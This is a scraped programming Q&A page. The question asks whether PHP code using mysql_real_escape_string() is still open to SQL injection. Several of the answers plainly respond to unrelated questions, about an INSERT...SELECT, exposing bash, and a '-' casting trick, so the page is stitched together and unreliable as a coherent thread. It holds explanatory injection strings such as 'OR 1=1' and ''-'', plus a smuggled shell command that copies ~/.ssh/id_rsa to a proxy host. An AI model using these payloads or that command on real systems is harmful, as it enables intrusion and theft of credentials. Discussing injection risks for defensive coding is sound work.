Asked  2 Years ago    Answers:  5   Viewed   147 times

Is there an SQL injection possibility even when using mysql_real_escape_string() function?

Consider this sample situation. SQL is constructed in PHP like this:

$login = mysql_real_escape_string(GetFromPost('login'));
$password = mysql_real_escape_string(GetFromPost('password'));

$sql = "SELECT * FROM table WHERE login='$login' AND password='$password'";

I have heard numerous people say to me that code like that is still dangerous and possible to hack even with mysql_real_escape_string() function used. But I cannot think of any possible exploit?

Classic injections like this:

aaa' OR 1=1 --

do not work.

Do you know of any possible injection that would get through the PHP code above?

 Answers

1

Consider the following query:

$iId = mysql_real_escape_string("1 OR 1=1");    
$sSql = "SELECT * FROM table WHERE id = $iId";

mysql_real_escape_string() will not protect you against this. The fact that you use single quotes (' ') around your variables inside your query is what protects you against this. The following is also an option:

$iId = (int)"1 OR 1=1";
$sSql = "SELECT * FROM table WHERE id = $iId";
Tuesday, August 9, 2022
1

SQL injection attacks happen when user input is improperly encoded. Typically, the user input is some data the user sends with her query, i.e. values in the $_GET, $_POST, $_COOKIE, $_REQUEST, or $_SERVER arrays. However, user input can also come from a variety of other sources, like sockets, remote websites, files, etc.. Therefore, you should really treat everything but constants (like 'foobar') as user input.

In the code you posted, mysql_real_escape_string is used to encode(=escape) user inputs. The code is therefore correct, i.e. does not allow any SQL injection attacks.

Note that it's very easy to forget the call to mysql_real_escape_string - and one time is enough for a skilled attacker! Therefore, you may want to use the modern PDO with prepared statements instead of adodb.

Tuesday, September 27, 2022
2

I think that you want:

INSERT INTO Contacts (id,group_id,company_id,email,name)
SELECT co.id,co.group_id,co.id,co.email,co.name
FROM company co
LEFT JOIN contacts c ON co.id = c.company_id
WHERE c.company_id IS NULL

This will insert all the information from contacts in company that wasn't already there. the column phone will be left null, since there is no information in contacts for that column.

Tuesday, November 22, 2022
 
2

Common practice for customer-facing applications is to have an API-endpoint for each database query, which will require user authentication. The API server will then validate the input while formatting the query.

Directly exposing bash on server is never a good idea. Besides SQL injection, other much worse situations, like ; scp ~/.ssh/id_rsa my_proxy ;, can easily happen.


It appears that security is not OP's primary concern based on the comments below. Rather, the main focus is generating valid queries.

For that, the simplest solution is to perhaps use existing libraries, and let them handle the formatting. For example, in Python there is

https://dev.mysql.com/doc/connector-python/en/

Usually insertion should be done in batch for efficiency. But if preferred, you can write a script for inserting a row like

python3 tableX_insert.py --field1 value1 --field2 value2

I am sure in other languages similar modules for DB conn and cursor exist. Any effort to do the same with raw bash command line is re-inventing wheels.

Friday, August 19, 2022
 
1

The string '-' (single-quote, hyphen, single-quote) works because of the integer to string casting behavior of some RDBMS. Since what you posted looks like PHP code, I will make the assumption that the database involved is MySQL.

In MySQL, a non-numeric string cast to an integer will result in zero. Further, attempting an arithmetic operation on two strings will first cause them to be cast to integers. So let's look at the string after the value is substituted:

WHERE ''-'' IN (itemnum, sdesc,ldesc)

MySQL will attempt to do subtraction of the two empty strings '', so literally: '' minus ''. To accomplish that, they must first be cast to integers, which are zero (0-0=0). Now it looks like:

WHERE 0 IN (itemnum, sdesc,ldesc)

For the same reason that the non-numeric string casts to zero, this time MySQL will cast the varchar columns sdesc, ldesc to an integer. Unless they begin with numbers, the result of that cast is zero. The 0 from ''-'' then works because the IN() will match any of the listed columns and the varchar have all been cast to equivalent 0.

Here's MySQL attempting arithmetic on the strings:

> select ''-'';
+-------+
| ''-'' |
+-------+
|     0 |
+-------+

Here's MySQL casting the empty string to 0:

 > select CAST('' AS SIGNED);
+--------------------+
| CAST('' AS SIGNED) |
+--------------------+
|                  0 |
+--------------------+

Finally, here's MySQL returning TRUE because integer 0 matches string values:

> SELECT 0 IN (123, 'abc', 'def');
+--------------------------+
| 0 IN (123, 'abc', 'def') |
+--------------------------+
|                        1 |
+--------------------------+
Friday, August 19, 2022
 
Only authorized users can answer the search term. Please sign in first, or register a free account.
Not the answer you're looking for? Browse other questions tagged :
 

Browse Other Code Languages